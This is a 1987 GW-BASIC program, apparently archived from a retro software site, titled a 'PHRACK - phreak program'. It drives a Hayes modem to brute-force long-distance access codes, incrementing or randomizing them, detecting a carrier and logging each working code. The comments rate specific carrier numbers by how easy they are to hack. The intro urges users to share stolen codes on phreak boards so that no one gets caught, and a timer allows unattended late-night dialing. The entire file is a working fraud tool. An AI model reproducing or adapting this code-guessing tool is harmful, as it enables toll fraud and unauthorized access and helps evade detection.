home *** CD-ROM | disk | FTP | other *** search
GW-BASIC | 1987-10-30 | 11.9 KB | 327 lines |
- 10 REM BASENUM's # of DIGITS Gripes
- 20 REM ---------- ----------- ------
- 30 REM 950-0220 123456 gives fake carrier
- 40 REM 950-0777 12345678 hard to hack
- 50 REM or 1800 332-0777
- 60 REM 450-5850 12345 easy to hack
- 70 REM 950-1033 123456 fairly easy to hack
- 80 REM 1800638-1996 123456 ok
- 90 REM 1800446-4462 123456 ok
- 100 REM
- 110 DIM RNDCODE(20)
- 120 COLOR 7,0
- 130 FALSE=0:TRUE=1:FLAG=FALSE:BIGCODE=FALSE:SPEAKER=TRUE:CLOCK=FALSE
- 140 REM ==================== MAIN PROGRAM ========================
- 150 CLS :KEY OFF
- 160 GOSUB 420 'intro
- 170 GOSUB 620 'defaults -read data
- 180 CLS:INPUT "defaults o.k.? (Y)";OT$:IF OT$="N"OR OT$="n" THEN 190 ELSE 200
- 190 GOSUB 1060 'dialing info
- 200 GOSUB 1770 'dialing display
- 210 E$=INKEY$
- 220 IF E$="b" OR E$="B" THEN LOCATE 20,10:PRINT " ->":GOSUB 2860:GOTO 290
- 230 IF E$="c" OR E$="C" THEN LOCATE 21,10:PRINT " ->":GOSUB 2860:GOTO 190
- 240 IF E$="S" OR E$="s" THEN LOCATE 22,10:PRINT " ->":GOSUB 2560:GOTO 200
- 250 IF E$="Q" OR E$="q" THEN LOCATE 23,10:PRINT " ->":GOSUB 2860 :GOTO 320
- 260 IF FLAG=TRUE THEN GOTO 290
- 270 IF E$="a" OR E$="A" THEN LOCATE 19,10:FLAG=TRUE:PRINT " ->" :GOSUB 2860:GOTO 290
- 280 GOTO 210
- 290 IF CLOCK=TRUE THEN IF ENDTIME$ < TIME$ THEN CLS:END
- 300 GOSUB 2030 'dialing nitty gritty malitty stuff
- 310 GOTO 200
- 320 INPUT "Do you want to save parameters (Y or N)";ANS$
- 330 IF ANS$="y" OR ANS$="Y" THEN GOTO 360
- 340 REM ================ end ==================================
- 350 GOTO 410
- 360 OPEN "dialcomm.inf" FOR OUTPUT AS#1:PRINT#1,DIALCOMM$:CLOSE#1
- 370 OPEN "basenum.inf" FOR OUTPUT AS#1:PRINT#1,BASENUM$ :CLOSE#1
- 380 OPEN "comma.inf" FOR OUTPUT AS#1:PRINT#1,CHR$(34)+COMMA$+CHR$(34):CLOSE#1
- 390 OPEN "currcode.inf" FOR OUTPUT AS#1:PRINT#1,CURRCODE$:CLOSE#1
- 400 OPEN "carrier.inf" FOR OUTPUT AS#1:PRINT#1,CARRIER$ :CLOSE#1
- 410 SYSTEM
- 420 REM ================== Intro Stuff ========================
- 430 PRINT "Welcome to the PHRACK - phreak program."
- 440 PRINT " For phone phreakers of all ages."
- 450 PRINT "This program was designed for an IBM pc with a Hayes internal modem."
- 460 PRINT:PRINT "For this program to work successfully we need to know
- 470 PRINT "several things;"
- 480 PRINT"
- 490 PRINT " 1) The dialing command for your modem
- 500 PRINT " 2) The base number for the co. i.e. 950-1033
- 510 PRINT " 3) The number of comma's OR TIME DELAY FOR CODE 1COMMA=2SEC's"
- 520 PRINT " 4) The starting code, and ending code.
- 530 PRINT " 5) The carrier number."
- 540 PRINT"
- 550 PRINT "The carrier number has to be a number that will answer the phone "
- 560 PRINT "with a carrier EVERY time. you can use ULTRA.EXE from Comworx. OR"
- 570 PRINT "use this prog. OR find the number of a pathetic BBS and use it."
- 580 PRINT" POST THE NUMBERS YOU FIND ON A PHREAK BOARD"
- 590 PRINT " Remember:Posting and sharing decreases the chance of a single "
- 600 PRINT "phreaker getting caught."
- 610 RETURN
- 620 REM ================= Default Routine ====================
- 630 REM
- 640 OPEN"com1:" AS #3 :PRINT #3,"AT S11=50":PRINT #3,"AT S7=60":CLOSE #3
- 650 ON ERROR GOTO 680
- 660 OPEN"DIALCOMM.INF" FOR INPUT AS#1:INPUT#1,DIALCOMM$ 'Get Dial Command
- 670 GOTO 700
- 680 CLOSE#1:OPEN"DIALCOMM.INF" FOR OUTPUT AS#1
- 690 DIALCOMM$="ATDT":PRINT#1,"ATDT" :RESUME NEXT 'Create Dial Command
- 700 CLOSE#1
- 710 REM
- 720 ON ERROR GOTO 750
- 730 OPEN"BASENUM.INF" FOR INPUT AS#1:INPUT#1,BASENUM$ 'Get Base Number
- 740 GOTO 770
- 750 CLOSE#1:OPEN"BASENUM.INF" FOR OUTPUT AS#1
- 760 BASENUM$="950-1033":PRINT#1,"950-1033" :RESUME NEXT 'Create Base Number
- 770 CLOSE#1
- 780 REM
- 790 ON ERROR GOTO 820
- 800 OPEN "COMMA.INF" FOR INPUT AS#1:INPUT#1,COMMA$ 'Get Comma List
- 810 GOTO 840
- 820 CLOSE #1:OPEN"COMMA.INF" FOR OUTPUT AS#1
- 830 COMMA$=",,,,,":PRINT#1,CHR$(43)+",,,,,"+CHR$(43):RESUME NEXT'Create Comma
- 840 CLOSE#1
- 850 REM
- 860 ON ERROR GOTO 900
- 870 OPEN"CURRCODE.INF" FOR INPUT AS#1 'Load previous code
- 880 INPUT#1,CURRCODE$
- 890 GOTO 920
- 900 CLOSE#1:OPEN"CURRCODE.INF" FOR OUTPUT AS#1
- 910 CURRCODE$="000000":PRINT#1,"000000" :RESUME NEXT 'Create code
- 920 CLOSE #1
- 930 REM
- 940 ON ERROR GOTO 970
- 950 CLOSE#1:OPEN"CARRIER.INF" FOR INPUT AS#1 :INPUT#1,CARRIER$ 'Get Carrier
- 960 GOTO 990
- 970 CLOSE#1:OPEN"CARRIER.INF" FOR OUTPUT AS#1
- 980 CARRIER$="414-964-5160" :PRINT#1,"414-964-5160" :RESUME NEXT 'Create Car
- 990 ON ERROR GOTO 0:CLOSE #1
- 1000 ON ERROR GOTO 0:CLOSE #1
- 1010 LOCATE 23,20:PRINT "press <SPACE BAR> or <RETURN> to continue"
- 1020 E$=INKEY$:IF E$=" " THEN 1050 ELSE IF E$=CHR$(13) THEN 1050
- 1030 GOTO 1020
- 1040 REM
- 1050 RETURN
- 1060 REM ================= DIAL COMMAND info ====================
- 1070 CLS:PRINT " Now we need to know that information as outlined
- 1080 PRINT" on the previous page."
- 1090 LOCATE 6,10:PRINT "The Current DIALING COMMAND is '";
- 1100 COLOR 3:PRINT DIALCOMM$;:COLOR 7:PRINT "'"
- 1110 COLOR 7:LOCATE 7,10:PRINT "Shall we keep it (Y or N)->"
- 1120 E$=INKEY$:IF E$="y" OR E$="Y" THEN 1180 ELSE IF E$="n" OR E$="N" THEN 1140
- 1130 GOTO 1120
- 1140 LOCATE 7,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860
- 1150 CLOSE#1:OPEN"DIALCOMM.INF" FOR OUTPUT AS#1
- 1160 PRINT:INPUT " Then what do you want it to be ";DIALCOMM$:PRINT#1,DIALCOMM$
- 1170 CLOSE#1:GOTO 1200
- 1180 LOCATE 7,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860
- 1190 REM
- 1200 REM ----------------= BASE NUMBER =-------------------------
- 1210 CLS:PRINT " Now we need to know that information as outlined
- 1220 PRINT" on the first page. Please answer 'Y' or 'N' for the Question"
- 1230 LOCATE 6,10:PRINT "The Current BASE NUMBER is ";
- 1240 COLOR 3:PRINT BASENUM$:COLOR 7
- 1250 COLOR 7:LOCATE 7,10:PRINT "Shall we keep it (Y or N)->"
- 1260 E$=INKEY$:IF E$="y" OR E$="Y" THEN 1320 ELSE IF E$="n" OR E$="N" THEN 1280
- 1270 GOTO 1260
- 1280 LOCATE 7,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860
- 1290 CLOSE#1:OPEN"BASENUM.INF" FOR OUTPUT AS#1
- 1300 PRINT:INPUT " Then what do you want it to be ";BASENUM$:PRINT#1,BASENUM$
- 1310 CLOSE #1:GOTO 1340
- 1320 LOCATE 7,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860
- 1330 REM
- 1340 REM ----------------= COMMA's =----------------------------
- 1350 CLS:PRINT " Now we need to know that information as outlined
- 1360 PRINT" on the first page. Please answer 'Y' or 'N' for the Question"
- 1370 LOCATE 6,10:PRINT "The Current list of COMMA's is '";COMMA$;"'"
- 1380 COLOR 7:LOCATE 7,10:PRINT "Shall we keep it (Y or N)->"
- 1390 E$=INKEY$:IF E$="y" OR E$="Y" THEN 1460 ELSE IF E$="n" OR E$="N" THEN 1410
- 1400 GOTO 1390
- 1410 LOCATE 7,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860
- 1420 CLOSE#1:OPEN"COMMA.INF" FOR OUTPUT AS#1
- 1430 PRINT:PRINT" Make sure you use Quotes. I.E."+CHR$(34)+",,,,"+CHR$(34)
- 1440 PRINT:INPUT " Then what do you want it to be ";COMMA$
- 1450 PRINT #1,CHR$(34)+COMMA$+CHR$(34):CLOSE#1:GOTO 1480
- 1460 LOCATE 7,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860
- 1470 REM
- 1480 REM ----------------= CODE =--------------------------------
- 1490 CLS:PRINT " Now we need to know that information as outlined
- 1500 PRINT" on the first page. Please answer 'Y' or 'N' for the Question"
- 1510 LOCATE 6,10:PRINT "The Current CODE is ";
- 1520 COLOR 3:PRINT CURRCODE$:COLOR 7
- 1530 COLOR 7:LOCATE 7,10:PRINT "Shall we keep it (Y or N)->"
- 1540 E$=INKEY$:IF E$="y" OR E$="Y" THEN 1610 ELSE IF E$="n" OR E$="N" THEN 1560
- 1550 GOTO 1540
- 1560 LOCATE 7,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860
- 1570 CLOSE#1:OPEN"CURRCODE.INF" FOR OUTPUT AS#1
- 1580 PRINT:INPUT " Then what do you want it to be ";CURRCODE$:PRINT#1,CURRCODE$
- 1590 IF LEN(CURRCODE$) >9 THEN PRINT "no more than 9 digits":GOTO 1580
- 1600 CLOSE#1:GOTO 1630
- 1610 LOCATE 7,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860
- 1620 REM
- 1630 REM ----------------= CARRIER =-----------------------------
- 1640 CLS:PRINT " Now we need to know that information as outlined
- 1650 PRINT" on the first page. Please answer 'Y' or 'N' for the Question
- 1660 LOCATE 6,10:PRINT "The Current CARRIER is ";
- 1670 COLOR 3:PRINT CARRIER$:COLOR 7
- 1680 COLOR 7:LOCATE 7,10:PRINT "Shall we keep it (Y or N)->"
- 1690 E$=INKEY$:IF E$="y" OR E$="Y" THEN 1750 ELSE IF E$="n" OR E$="N" THEN 1710
- 1700 GOTO 1690
- 1710 LOCATE 7,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860
- 1720 CLOSE#1:OPEN"CARRIER.INF" FOR OUTPUT AS#1
- 1730 PRINT:INPUT " Then what do you want it to be ";CARRIER$:PRINT#1,CARRIER$
- 1740 CLOSE #1:GOTO 1630
- 1750 LOCATE 7,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860
- 1760 RETURN
- 1770 REM ================= Dialing DISPLAY =========================
- 1780 CLS
- 1790 COLOR 7
- 1800 LOCATE 2,10:PRINT "These are the current information parameters"
- 1810 COLOR 7
- 1820 LOCATE 4,5 :PRINT "DIALING COMMAND"
- 1830 LOCATE 4,28:PRINT "BASE NUMBER"
- 1840 LOCATE 4,48:PRINT "COMMA's (or 2 second delays)"
- 1850 LOCATE 8,5:PRINT "CURRENT CODE"
- 1860 LOCATE 8,29:PRINT "CARRIER NUMBER"
- 1870 IF RANDOM=TRUE THEN LOCATE 11,5:PRINT"Randomize -=<ON>=-"
- 1880 COLOR 3
- 1890 LOCATE 5,7:PRINT DIALCOMM$
- 1900 LOCATE 5,29:PRINT BASENUM$
- 1910 LOCATE 5,52:PRINT COMMA$
- 1920 LOCATE 9,7:PRINT CURRCODE$
- 1930 LOCATE 9,30:PRINT CARRIER$
- 1940 CLOSE :COLOR 9,7
- 1950 LOCATE 19,15:PRINT " <A>uto Dialing "
- 1960 IF FLAG=TRUE THEN 2010
- 1970 LOCATE 20,15:PRINT " <B>egin Dialing "
- 1980 LOCATE 21,15:PRINT " <C>hange parameters "
- 1990 LOCATE 22,15:PRINT " <S>pecial Features "
- 2000 LOCATE 23,15:PRINT " <Q>uit to DOS "
- 2010 COLOR 7,0
- 2020 RETURN
- 2030 REM ========--Actual nitty gritty dialing --=================
- 2040 LOCATE 18,45:PRINT "Current Status :";
- 2050 COLOR 3:LOCATE 18,62:PRINT "Dialing"
- 2060 OPEN"COM1:" AS #3
- 2070 DIALINE$=DIALCOMM$+BASENUM$+COMMA$+CURRCODE$+CARRIER$
- 2080 PRINT#3,DIALINE$
- 2090 REM ================ Carrier Detect Loop =================
- 2100 COLOR 3:LOCATE 18,62:PRINT "Waiting-Carrier":COLOR 7
- 2110 COLOR 7:LOCATE 19,55:PRINT "Hit <A> to Abort call":COLOR 7
- 2120 COLOR 7:LOCATE 20,55:PRINT "Hit <S> to stop Autodial":COLOR 7
- 2130 COLOR 9,7:LOCATE 22,55:PRINT "TIMEOUT:":COLOR 7,0
- 2140 FOR XR=1 TO 1100
- 2150 E$=INKEY$:IF E$="A" OR E$="a" THEN COLOR 4:LOCATE 18,62:PRINT #3,"ATH": PRINT "ABORT ":GOSUB 2860:COLOR 7:GOTO 2230
- 2160 IF E$="S" OR E$="s" THEN COLOR 4:LOCATE 18,62:FLAG=FLASE:PRINT #3,"ATH": PRINT "STOP AUTODIAL ":GOSUB 2860:COLOR 7:GOTO 2230
- 2170 HXFE = &H3FE
- 2180 CD = INP(HXFE)
- 2190 CD = CD AND 128
- 2200 IF CD = 128 THEN 2490 'save the darn thing!
- 2210 LOCATE 22,64:PRINT 1100-XR
- 2220 NEXT XR
- 2230 REM ----------------= Increment Routine =-----------------
- 2240 COLOR 3:LOCATE 18,62:PRINT "Increment Code ":COLOR 7
- 2250 IF RANDOM=TRUE THEN GOSUB 2310:GOTO 2300 'random generator
- 2260 IF LEN(CURRCODE$)>7 THEN GOSUB 2440:GOTO 2300 'bigcode
- 2270 X=VAL(CURRCODE$)
- 2280 X=X+1
- 2290 CURRCODE$=MID$(STR$(X),2)
- 2300 RETURN
- 2310 REM ----Random?----Bigcode?------------
- 2320 RANDOMIZE TIMER
- 2330 CODELEN=LEN(CURRCODE$)
- 2340 CURRCODE$=""
- 2350 FOR LOOP= 1 TO CODELEN
- 2360 RNDCODE(LOOP)=INT(RND*(9+0))
- 2370 NEXT LOOP
- 2380 REM
- 2390 FOR LOOP= 1 TO CODELEN
- 2400 CURRCODE$=CURRCODE$+MID$(STR$(RNDCODE(LOOP)),2)
- 2410 NEXT LOOP
- 2420 RETURN
- 2430 REM ----------===Bigcode (more than 8 char's)===----------
- 2440 BIGCODE=TRUE:LEFTCODE$=LEFT$(CURRCODE$,3)
- 2450 RIGHTCODE$=MID$(CURRCODE$,4)
- 2460 X=VAL(RIGHTCODE$):X=X+1:RIGHTCODE$=STR$(X)
- 2470 CURRCODE$=MID$(LEFTCODE$,2)+MID$(RIGHTCODE$,2)
- 2480 RETURN
- 2490 REM ================= SAVE CODE BABY! =====================
- 2500 COLOR 20:LOCATE 18,62:PRINT "Carrier Detect ":COLOR 7
- 2510 PRINT #3,"ATH"
- 2520 OPEN"C:NUMBERS" FOR APPEND AS #2
- 2530 PRINT #2,BASENUM$,CURRCODE$,DATE$,TIME$
- 2540 GOSUB 2230 'increment
- 2550 RETURN
- 2560 REM =================== Special Features =========================
- 2570 REM
- 2580 CLS:PRINT"================= Special Features =========================
- 2590 LOCATE 4,10:PRINT" <R> Randomize Codesearch (On AUTODIAL mode only)"
- 2600 LOCATE 5,10:PRINT" <S>PEAKER ON or OFF"
- 2610 LOCATE 6,10:PRINT" <L>ATE NIGHT CALLING- SET TIMER"
- 2620 LOCATE 7,10:PRINT" <Q> Quit"
- 2630 E$=INKEY$:IF E$="r" OR E$="R" THEN 2680
- 2640 IF E$="S" OR E$="s" THEN OPEN "COM1:" AS #3:PRINT#3,"ATM":CLOSE:GOTO 2720
- 2650 IF E$="L" OR E$="l" THEN 2940
- 2660 IF E$="q" OR E$="Q" THEN 2790
- 2670 GOTO 2630
- 2680 IF RANDOM=TRUE THEN 2700 ELSE 2690
- 2690 LOCATE 10,10:PRINT "Randomize Special Feature -=<ON>=- ":RANDOM=TRUE :GOTO 2780
- 2700 LOCATE 10,10:PRINT "Randomize Special Feature -=<OFF>=-":RANDOM=FALSE
- 2710 GOTO 2780
- 2720 IF SPEAKER=FALSE THEN 2730 ELSE 2760
- 2730 LOCATE 10,10:PRINT "Modem Speaker -=<ON>=-":SPEAKER=TRUE
- 2740 OPEN "COM1:" AS #3:PRINT#3,"ATM1":CLOSE #3
- 2750 GOTO 2780
- 2760 LOCATE 10,10:PRINT "Modem Speaker -=<OFF>=-":SPEAKER=FALSE
- 2770 OPEN "COM1:" AS #3:PRINT#3,"ATM":CLOSE #3
- 2780 GOSUB 2810:GOTO 2580
- 2790 RETURN
- 2800 REM---------------------- Delay subroutines ------------------------
- 2810 FOR X= 1 TO 100: NEXT X
- 2820 FOR X= 1 TO 100: NEXT X
- 2830 FOR X= 1 TO 100: NEXT X
- 2840 FOR X= 1 TO 100: NEXT X
- 2850 FOR X= 1 TO 100: NEXT X
- 2860 FOR X= 1 TO 100: NEXT X
- 2870 FOR X= 1 TO 100: NEXT X
- 2880 FOR X= 1 TO 100: NEXT X
- 2890 FOR X= 1 TO 100: NEXT X
- 2900 FOR X= 1 TO 100: NEXT X
- 2910 FOR X= 1 TO 100: NEXT X
- 2920 RETURN
- 2930 REM =-=-=-=-=-=-=-=-=-=-=-=-> TIMER ROUTINE <-=-=-=-=-=-=-=-=-=-=-=-=-=
- 2940 CLS:LOCATE 4,30:PRINT "TIMER ROUTINE"
- 2950 PRINT:PRINT:PRINT"The timer will just turn the AUTODIAL command ON at at set time."
- 2960 PRINT:PRINT"Are you sure the current parameters are the ones you are happy with ?"
- 2970 PRINT:PRINT" Hit 'Y' or 'N'"
- 2980 E$=INKEY$:IF E$="y" OR E$="Y" THEN 3000 ELSE IF E$="n" OR E$="N" THEN 3010
- 2990 GOTO 2980
- 3000 LOCATE 15,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860:CLS:GOTO 3020
- 3010 LOCATE 15,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860:GOTO 200
- 3020 LOCATE 7,15:PRINT "Make Sure TIME is correct"
- 3030 LOCATE 9,25:PRINT "The time is......";TIME$
- 3040 COLOR 7:LOCATE 11,10:PRINT "Shall we keep it (Y or N)->"
- 3050 E$=INKEY$:IF E$="y" OR E$="Y" THEN 3100 ELSE IF E$="n" OR E$="N" THEN 3070
- 3060 GOTO 3050
- 3070 LOCATE 11,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860
- 3080 LOCATE 13,9:INPUT"Then what do you want it to be ";CHNGTIME$
- 3090 TIME$=CHNGTIME$:GOTO 3120
- 3100 LOCATE 11,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860
- 3110 REM
- 3120 LOCATE 15,8:LINE INPUT "Enter AUTOmatic AUTODIAL turn ON >";STRTIME$
- 3130 LOCATE 16,8:LINE INPUT "Enter AUTOmatic AUTODIAL turn OFF>";ENDTIME$
- 3140 LOCATE 18,8:INPUT "Is this correct (Y OR N) ";CO$
- 3150 IF CO$="n" OR CO$="N" THEN CLS:GOTO 2940
- 3160 CLS:LOCATE 7,15:PRINT"When the time equals your set time, dialing will begin at your set parameters."
- 3170 LOCATE 10,20:PRINT"Begin Dialing at ";STRTIME$
- 3180 LOCATE 11,20:PRINT" End Dialing at ";ENDTIME$
- 3190 LOCATE 23,10:PRINT "screen clears to prevent screen burn-in"
- 3200 IF TIME$ < STRTIME$ THEN 3210 ELSE 3240
- 3210 TIM=TIM+1
- 3220 IF TIM=3000 THEN CLS
- 3230 GOTO 3200
- 3240 REM
- 3250 CLOCK=TRUE:FLAG=TRUE:SPEAKER=FALSE
- 3260 GOTO 200
-